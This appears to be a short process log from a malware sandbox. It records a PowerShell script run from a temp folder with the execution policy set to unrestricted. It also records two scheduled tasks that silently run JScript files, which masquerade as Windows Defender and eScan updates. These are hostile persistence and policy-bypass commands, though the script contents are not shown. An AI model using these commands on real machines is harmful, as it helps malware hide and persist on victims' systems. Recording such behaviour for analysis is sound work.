powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\73cceb_69fbb28af79141d4b6bec17ff2cf1850.txt.ps1
3012schtasks.exe "C:\Windows\system32\schtasks.exe" /create /sc MINUTE /mo 120 /tn EscansUpdate /F /tr "wscript.exe //b //e:jscript C:\\ProgramData\\MEMEMAN\\WindowsDEFENDERUPDATE.js"
1188schtasks.exe "C:\Windows\system32\schtasks.exe" /create /sc MINUTE /mo 200 /tn EscanDissldo /F /tr "wscript.exe //b //e:jscript C:\\ProgramData\\MEMEMAN\\UpdateEscan.js"
1632